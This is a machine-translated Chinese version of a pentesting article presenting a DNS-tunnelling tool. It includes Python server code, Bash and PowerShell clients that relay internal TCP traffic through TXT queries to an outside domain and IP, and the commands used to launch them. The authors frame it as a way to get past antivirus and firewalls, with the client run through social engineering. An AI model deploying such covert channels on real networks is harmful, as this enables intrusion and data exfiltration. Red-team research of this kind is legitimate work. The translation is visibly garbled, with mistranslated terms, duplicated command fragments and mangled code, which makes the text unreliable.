隧道末端的流量或渗透测试中的DNS


你好 在渗透测试项目中,我们经常遇到几乎与外界完全隔离的硬分段网络。 有时,要解决此问题,有必要通过唯一可用的协议-DNS转发流量。 在本文中,我们将告诉您如何在2018年解决类似问题以及在此过程中遇到什么陷阱。 还将对流行的实用程序进行审查,并发布其自己的开源实用程序,这些实用程序通常具有某些现有工具缺乏的功能。


什么是DNS隧道


Habré上已经有几篇 文章解释了什么是DNS隧道。 但是,在扰流器下可以找到一些有关DNS隧道的理论。


什么是DNS隧道?

碰巧,防火墙严格切断了对网络的访问,并且您需要非常糟糕地传输数据,然后DNS隧道技术得以解决。


在图中,一切看起来像这样:


即使使用最严格的防火墙设置,DNS查询有时仍会通过,您可以通过从另一端的服务器答复来进行查询。 通信将非常缓慢,但这足以渗透到组织的本地网络,或者例如,可以通过国外的付费Wi-Fi紧急访问Internet。


目前流行什么


现在,在Internet上您可以找到许多用于操作此技术的实用程序-每个实用程序都有其自己的功能和错误。 我们选择了五个最受欢迎的比较测试:


  • dnscat2
  • dns2tcp
  • 平阳
  • OzymanDNS

您可以在Hacker上的文章中了解有关我们如何测试它们的更多信息。 这里我们只给出结果。



从结果可以看出,您可以工作,但是从渗透测试的角度来看,存在一些缺点:


  • 编译的客户端-在具有防病毒功能的计算机上,运行解释的内容比二进制文件要容易得多;
  • Windows下工作不稳定;
  • 在某些情况下需要安装其他软件。

由于这些缺点,我们需要开发自己的工具,结果就是这样...


创建自己的DNS隧道实用程序


背景知识


一切都始于一家银行的内部渗透测试。 大厅里有一台公用计算机,用于打印文件,证书和其他文件。 我们的目标:从运行Windows 7的计算机上获得最大收益,安装卡巴斯基反病毒软件并仅允许访问某些页面(但同时可以解析DNS名称)。


在进行了初步分析并从汽车中获得了更多数据之后,我们开发了几种攻击媒介。 使用“二进制程序”运行机器的路径被立即删除,因为“伟大而可怕的”“ Kaspersky”在检测到可执行文件时立即检测到其擦除。 但是,我们设法获得了代表本地管理员运行脚本的机会,之后的想法之一就是可以创建DNS隧道。


搜索可能的方法,我们在PowerShell上为dnscat2找到了一个客户端(我们之前已经写过它)。 但是最后,我们能够产生的最大结果是在短时间内建立了连接,之后客户端崩溃了。


坦率地说,这使我们非常不高兴,因为在这种情况下,仅需要有翻译的客户。 实际上,这是开发我们自己的DNS隧道工具的原因之一。


要求条件


我们对自己的主要要求是:


  • Unix和Windows系统的通用(尽可能)解释客户端的存在。 对于客户端,分别选择了bash和Powershell。 将来,计划使用Perl的unix客户端。
  • 从特定应用程序转发流量的能力;
  • 一个用户支持多个客户端。

项目架构


根据需求,我们开始开发。 在我们看来,该实用程序包括3个部分:内部计算机上的客户端,DNS服务器和pentester应用程序与DNS服务器之间的小型代理。



首先,我们决定通过TXT记录转发隧道。


操作原理非常简单:


  • Pentester启动DNS服务器。
  • pentester(或用户,通过社会工程学)在内部计算机上启动客户端。 在客户端上,存在诸如客户端名称和域之类的参数,并且还可以直接指定DNS服务器的IP地址。
  • Pentester(来自外部网络)启动一个代理,在其中指示DNS服务器的IP地址以及敲除IP目标的端口(例如,客户端所在的内部网络中的ssh)以及相应的目标端口。 还需要一个客户机ID,可以通过添加--clients键来获得。
  • Pentester启动他感兴趣的应用程序,将代理端口指向localhost。

通讯协议


考虑用于服务器和客户端之间通信的相当简单的协议。


报名


客户端启动时,它将向服务器注册,并通过以下格式的子域请求TXT记录:


0<7 random chars><client name>.<your domain>


0-注册码
<7 random chars> -避免缓存DNS记录
<client name> -启动时给<client name>
<your domain> -例如。:xakep.ru
在成功注册的情况下,客户端会在TXT响应中收到成功消息,以及分配给他的ID,他将继续使用该ID。


主循环


注册后,客户端开始向服务器查询以下格式的新数据的可用性


1<7 random chars><id>.<your domain>


如果有新数据,则在TXT响应中以以下格式接收它们


<id><target ip>:<target port>:<data in base64> ,否则, <id>ND出现。


资料载入周期


循环中的客户端检查数据是否来自我们的<target> 。 如果有答案,我们从结果中读取大小为N Kb的缓冲区,将其分成250-<len_of_your_domain>-< >块,并按以下格式逐块发送数据:
2<4randomchars><id><block_id>.<data>.<your_domain>


如果块传输成功,则ENDBLOCK有关已传输块的一些数据;在缓冲区传输完成的情况下,我们将获得ENDBLOCK


DNS服务器


用于隧道的DNS服务器是使用dnslib库以Python3编写的,通过从dnslib.ProxyResolver对象继承并覆盖resolve()方法,可以轻松创建自己的DNS解析器。


出色的dnslib允许您非常快速地创建自己的proxyDNS:


一点服务器代码
 class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler): #   domain_request = DOMAIN_REGEX.findall(str(request.q.qname)) type_name = QTYPE[request.q.qtype] if not domain_request: #  DNS ,     ,    : ,  google return super().resolve(request, handler) #  ,    result reply = request.reply() reply.add_answer(RR( rname=DNSLabel(str(request.q.qname)), rtype=QTYPE.TXT, rdata=dns.TXT(wrap(result, 255)), #      255 ,   ,   ttl=300 )) if reply.rr: return reply if __name__ == '__main__': port = int(os.getenv('PORT', 53)) upstream = os.getenv('UPSTREAM', '8.8.8.8') #       resolver = Resolver(upstream) udp_server = DNSServer(resolver, port=port) tcp_server = DNSServer(resolver, port=port, tcp=True) udp_server.start_thread() tcp_server.start_thread() try: while udp_server.isAlive(): sleep(1) except KeyboardInterrupt: pass 

在resolve()中,我们定义了客户端对DNS查询的响应:注册,请求新记录,回发数据和删除用户。


我们将有关用户的信息存储在SQLite数据库中,数据剪贴板位于RAM中,并具有以下结构,其中的关键是客户端编号:


 { { "target_ip": "192.168.1.2", # IP “” -    "target_port": "", #  “” "socket": None, #       "buffer": None, #      "upstream_buffer": b'' #      }, ... } 

为了将来自戊二酸酯的数据放入缓冲区,我们编写了一个小的“接收器”,该接收器在单独的流中启动。 它捕获来自五分之一秒的连接并执行路由:向哪个客户端发送请求。


在启动服务器之前,用户只需要设置一个参数:DOMAIN_NAME-服务器将使用的域的名称。


Bash客户端


选择Bash来为Unix系统编写客户端,因为它在现代Unix系统中最常见。 Bash提供了通过/ dev / tcp /进行连接的能力,即使具有无特权的用户权限也是如此。


我们不会详细分析每段代码,只看一些最有趣的地方。
客户的原则很简单。 为了与DNS通信,使用了标准的dig实用程序。 客户端向服务器注册,此后,在永久周期中,客户端开始使用前面描述的协议来满足请求。 下扰流板更多。


阅读有关Bash客户端的更多信息

正在检查以确定是否已建立连接,如果已建立,则执行回复功能(从目标读取已接收的数据,拆分并发送到服务器)。


之后,检查是否有来自服务器的新数据。 如果找到它们,则我们检查是否应断开连接。 当我们收到有关IP地址为0.0.0.0和端口00的目标的信息时,就会出现间隙。在这种情况下,我们清除文件描述符(如果未打开则不会有问题),然后将目标IP更改为传入的0.0.0.0。


沿着代码进一步看,是否需要建立一个新的连接。 一旦以下消息开始向我们发送目标数据,如果先前的IP与当前的IP不匹配(重置后将如此),请将目标更改为新的IP,然后通过命令exec 3<>/dev/tcp/$ip/$port建立连接。 exec 3<>/dev/tcp/$ip/$port ,其中$ip是目标$port$port是目标端口。
结果,如果已经建立连接,则对输入的数据进行解码,并通过命令echo -e -n ${data_array[2]} | base64 -d >&3描述符echo -e -n ${data_array[2]} | base64 -d >&3 echo -e -n ${data_array[2]} | base64 -d >&3 ,其中${data_array[2]}是我们从服务器获得的。


 while : do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi done 

现在考虑发送回复功能。 首先,我们从描述符中读取2048个字节,并立即通过$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0对其进行编码$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0 )。 然后,如果答案为空,则退出函数,否则我们将开始拆分和发送操作。 请注意,在形成通过挖掘发送的请求之后,将检查传递是否成功。 如果成功,请退出该循环,否则请尝试直到成功。


 reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi } 

Powershell客户端:


由于我们需要完全的可解释性并需要在大多数当前系统上工作,因此Windows的基本客户端是用于通过DNS进行通信的标准nslookup实用程序以及用于在内部网络上建立连接的System.Net.Sockets.TcpClient对象。


一切也很简单。 循环的每次迭代都是使用前面描述的协议对nslookup命令的调用。


例如,要注册,请执行以下命令:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
如果发生错误,则不显示它们,而是将错误描述符值发送到$ null。


nslookup向我们返回类似的答案:


之后,我们需要将所有行都用引号引起来,为此我们需要定期进行检查:


$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }


现在您可以处理收到的命令。
每次“受害者”的IP地址更改时,都会创建一个TCP客户端,建立连接并开始数据传输。 从DNS服务器,信息经过base64解码,然后将字节发送给受害者。 如果“受害者”回答了某些问题,则我们将编码,分成几部分并根据协议执行nslookup请求。 仅此而已。
当您按Ctrl + C时,将执行删除客户端的请求。


代理:


pentester的代理是python3中的小型代理服务器。



在参数中,您需要指定DNS服务器的IP,连接服务器的端口,选项--clients返回已注册客户端的列表, --target - target ip--target_port - target port --client - --target_port - target port ,-- --client与我们一起使用的客户端的ID工作(在执行--clients之后看到),- --send_timeout用于从应用程序发送消息的超时。


当使用--clients参数启动时,代理\x00GETCLIENTS\n格式向服务器发送请求。
在开始工作的情况下,在连接时,我们以\x02RESET:client_id\n格式发送一条消息,以重置先前的连接。 在我们发送有关目标的信息之后: \x01client_id:ip:port:\n
此外,在向客户端发送消息时,我们以\x03data格式发送字节,而我们仅向应用程序发送原始字节。
另外,代理支持SOCKS5模式。


可能会出现什么困难?


与任何机制一样,该实用程序可能会失败。 我们不要忘记DNS隧道是一件很薄的事情,从网络体系结构到与生产服务器的连接质量,许多因素都可能影响DNS隧道的运行。


在测试期间,我们偶尔会注意到一些小故障。 例如,在通过ssh进行高速打印时,值得设置--send_timeout参数,因为否则客户端将开始冻结。 另外,有时可能不会第一次建立连接,但是可以通过重新启动代理轻松地处理它,因为在新连接期间将重置连接。 使用代理链时,域解析也存在问题,但是如果您为代理链指定其他参数,这也可以解决。 值得注意的是,目前该实用程序无法控制来自缓存DNS服务器的不必要请求的出现,因此连接有时可能会失败,但是,可以使用上述方法再次对其进行处理。


发射


在域上配置NS记录:



我们等到缓存更新(通常最多5个小时)。


我们启动服务器:
python3 ./server.py --domain oversec.ru


启动客户端(Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1


我们启动客户端(Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2


让我们看看连接的客户端列表:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients


启动代理:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1


测试:


启动服务器和至少一个客户端后,我们可以像访问远程计算机一样访问代理。
让我们尝试模拟以下情况:pentester希望从受防火墙保护的组织的本地网络中的服务器上下载文件,同时使用社交工程方法能够迫使DNS客户端在网络内运行并找出SSH服务器密码。


Pentester在其计算机上启动一个代理,指示必要的客户端,然后可以进行类似的呼叫,这些呼叫将发送到客户端,并从客户端发送到本地网络。
scp -P9090 -C root@localhost:/root/dnserver.py test.kek


让我们看看发生了什么:



在左上角,您可以看到到达服务器的DNS查询,在右上角的代理通信,在左下角的客户端通信,以及在右下角的应用程序。 DNS隧道的速度相当不错:使用压缩速度为4.9Kb / s。


在不压缩的情况下启动时,该实用程序显示的速度为1.8 kb / s:



让我们仔细看一下DNS服务器流量,为此,我们使用tcpdump实用程序。
tcpdump -i eth0 udp port 53



我们看到所有内容都符合所描述的协议:客户端使用1c6Zx9Vi39.oversec.ru形式的请求,不断轮询服务器是否具有该客户端的任何新数据。 如果有数据,则服务器以一组TXT记录进行响应,否则为%client_num%ND( 39ND )。 客户端发送信息使用的查询类型的服务器28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.


在以下视频中,您可以清楚地看到该实用程序如何与Meterpreter和SOCKS5模式结合使用。




结果:


让我们总结一下。 此开发具有什么功能,为什么我们建议使用它?


  1. 在Bash和Powershell上解释了客户端:没有可能难以运行的EXE-shnikov和ELF-s。
  2. 连接稳定性:在测试中,我们的实用程序的行为更加稳定,并且如果存在任何错误,您可以重新连接,而客户端不会崩溃,例如dnscat2。
  3. DNS隧道的速度非常快:当然,速度没有达到碘,但是有一个低级的编译解决方案。
  4. 不需要管理员权限:Bash客户端无需管理员权限即可工作,并且安全策略有时会禁止Powershell脚本,但这非常简单。
  5. 有一个socks5代理模式,它允许您执行curl -v --socks5 127.0.0.1:9011 https://ident.me或在整个内部网络上运行nmap。

此处提供实用程序代码。

Source: https://habr.com/ru/post/zh-CN432078/


All Articles